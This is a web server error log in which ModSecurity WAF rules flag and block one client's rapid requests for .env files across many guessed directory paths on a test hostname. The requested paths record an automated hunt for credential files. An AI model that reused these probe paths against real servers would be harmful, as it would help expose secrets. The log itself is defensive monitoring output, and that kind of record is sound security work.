[Wed Feb 25 06:04:53.536395 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19agAAAAE&quot;]
[Wed Feb 25 06:04:53.595485 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_nginx_static_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19awAAAAE&quot;]
[Wed Feb 25 06:04:53.595777 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19awAAAAE&quot;]
[Wed Feb 25 06:04:53.595972 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19awAAAAE&quot;]
[Wed Feb 25 06:04:53.623369 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bAAAAAE&quot;]
[Wed Feb 25 06:04:53.623722 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bAAAAAE&quot;]
[Wed Feb 25 06:04:53.623919 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bAAAAAE&quot;]
[Wed Feb 25 06:04:53.725386 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bQAAAAE&quot;]
[Wed Feb 25 06:04:53.725678 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bQAAAAE&quot;]
[Wed Feb 25 06:04:53.725859 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bQAAAAE&quot;]
[Wed Feb 25 06:04:53.752635 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bgAAAAE&quot;]
[Wed Feb 25 06:04:53.752925 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bgAAAAE&quot;]
[Wed Feb 25 06:04:53.753104 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bgAAAAE&quot;]
[Wed Feb 25 06:04:53.797496 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cardea/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZtAAAAAY&quot;]
[Wed Feb 25 06:04:53.797804 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZtAAAAAY&quot;]
[Wed Feb 25 06:04:53.798027 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZtAAAAAY&quot;]
[Wed Feb 25 06:04:53.808529 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bwAAAAE&quot;]
[Wed Feb 25 06:04:53.808795 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bwAAAAE&quot;]
[Wed Feb 25 06:04:53.808958 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19bwAAAAE&quot;]
[Wed Feb 25 06:04:53.894365 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /archipel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19cAAAAAE&quot;]
[Wed Feb 25 06:04:53.894660 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19cAAAAAE&quot;]
[Wed Feb 25 06:04:53.894840 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19cAAAAAE&quot;]
[Wed Feb 25 06:04:53.945985 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cdw-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZtQAAAAY&quot;]
[Wed Feb 25 06:04:53.946255 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZtQAAAAY&quot;]
[Wed Feb 25 06:04:53.946449 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZtQAAAAY&quot;]
[Wed Feb 25 06:04:54.020115 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /asset_img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19cgAAAAE&quot;]
[Wed Feb 25 06:04:54.020420 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19cgAAAAE&quot;]
[Wed Feb 25 06:04:54.020615 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19cgAAAAE&quot;]
[Wed Feb 25 06:04:54.049582 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cgi-bin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZtgAAAAY&quot;]
[Wed Feb 25 06:04:54.049867 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZtgAAAAY&quot;]
[Wed Feb 25 06:04:54.050045 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZtgAAAAY&quot;]
[Wed Feb 25 06:04:54.168288 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19cwAAAAE&quot;]
[Wed Feb 25 06:04:54.168592 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19cwAAAAE&quot;]
